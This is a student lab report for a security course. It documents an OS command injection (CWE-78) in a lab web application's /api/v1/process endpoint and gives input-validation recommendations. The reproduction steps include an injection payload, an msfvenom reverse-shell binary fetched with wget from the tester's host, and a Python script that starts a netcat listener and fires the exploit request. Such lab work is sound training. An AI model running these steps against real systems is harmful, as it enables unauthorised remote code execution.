CSOC 1050: Lab Assignment #3

September 22, 2023

Prepared By: Ashish Hedau

Table of Contents

[OS Command Injection vulnerability affecting http://10.5.50.30:8080 leading to remote code execution. 2](#_Toc146295557)

[Description 2](#_Toc146295558)

[Impact 2](#_Toc146295559)

[Recommendations 2](#_Toc146295560)

[Steps to Reproduce 2](#_Toc146295561)

# OS Command Injection vulnerability affecting <http://10.5.50.30:8080> leading to remote code execution.

## Description

The assessed web application in scope <http://10.5.50.30:8080> features a landing page in which the application mentions the page the user wanted to search doesn’t exist. The web application is vulnerable to OS command injection due to lack of input validation on the endpoint /api/v1/process. CWE-78 describes that this weakness occurs when an application allows untrusted input to be incorporated into a command that is executed by the operating system. Attackers can exploit this vulnerability to execute arbitrary commands on the system, potentially gaining unauthorized access.  
  
<https://cwe.mitre.org/data/definitions/78.html>

Read this for more information about CWE-78

## Impact

An attacker can potentially exploit a vulnerability in the /api/v1/process endpoint, which allows them to enumerate and access pidstat result. To evade detection and achieve their malicious goals, the attacker can initially input random OS commands to trigger pidstat results. Subsequently, they can inject a specific OS command that suits their needs. This sequence of actions could enable the attacker to upload a malicious file. If this malicious file is executed, it could lead to the establishment of a reverse shell, effectively compromising the entire web application.

## Recommendations

To mitigate this vulnerability, we recommend

* Validate and sanitize all user inputs and external data.
* Reject or escape any input that doesn’t adhere to the expected format.
* Use a whitelist approach where you only allow specific characters or patterns and reject everything else.

## 

## Steps to Reproduce

The landing page for the web application is shown below.

A screenshot of a computer

Description automatically generated

The source code for the web application was available on <http://10.5.50.30:8080/source.zip>

A screenshot of a computer

Description automatically generated

As highlighted, there are three protected endpoints for the web application

A screen shot of a computer

Description automatically generated

The vulnerable code section is the one where the pidstat command is executed. Once the pidstat command is executed successfully an attacker could run any command they desire because there are no checks in place for input validation or character restrictions.

A screenshot of a computer program

Description automatically generated

The pidstat results are shown in the response when ( /api/v1/process/?process\_name= ) is hit.

A screenshot of a computer

Description automatically generated

To escape the pidstat command we used, ( ls+-e+ ). Once able to escape the pidstat, we ran ‘id’ command.

A screenshot of a computer

Description automatically generated

We created a reverse.elf payload with msfvenom and hosted it on our local python server

A blue and white light

Description automatically generated with medium confidence

We downloaded the reverse.elf on the server with wget <http://172.16.1.5/reverse.elf> and then used the chmod 755 command to make the reverse.elf executable.

A screenshot of a computer

Description automatically generated

For the reverse connection, we crafted a python script which started a netcat listener on port 4242 and gives the user to run arbitrary command as seen below.

A screen shot of a computer

Description automatically generated

The python script we used in our engagement.

import subprocess

import requests

# Function to print a stylish ASCII banner

def print\_banner():

banner = """

████████████████████████████████

█─▄▄▄─█─▄▄─█▄─▀█▀─▄█▄─▄▄─█▄─▀─▄█

█─███▀█─██─██─█▄█─███─▄█▀██▀─▀██

▀▄▄▄▄▄▀▄▄▄▄▀▄▄▄▀▄▄▄▀▄▄▄▄▄▀▄▄█▄▄▀

Command Executor by ZEUS

"""

print(banner)

# Command to start the netcat listener

nc\_command = "nc -nvlp 4242"

try:

# Print the banner

print\_banner()

# Start the netcat listener in the background

nc\_process = subprocess.Popen(nc\_command, shell=True)

print("Netcat listener started on port 4242.")

except Exception as e:

print(f"Error starting netcat listener: {str(e)}")

# Define the URL and headers

url = "http://10.5.50.30:8080/api/v1/process/?process\_name=ls+-e+./reverse.elf"

headers = {

'Host': '10.5.50.30:8080',

'Upgrade-Insecure-Requests': '1',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7',

'Accept-Encoding': 'gzip, deflate',

'Accept-Language': 'en-US,en;q=0.9',

'Connection': 'close',

}

# Send the HTTP GET request

response = requests.get(url, headers=headers)

# Check the response status code and print the response content

if response.status\_code == 200:

print("Response Status Code: 200 OK")

print("Response Content:")

print(response.text)

else:

print(f"Request failed with status code: {response.status\_code}")

# Keep the script running to maintain the netcat listener

try:

nc\_process.wait() # Wait for the netcat listener process to finish

except KeyboardInterrupt:

print("\nListener terminated.")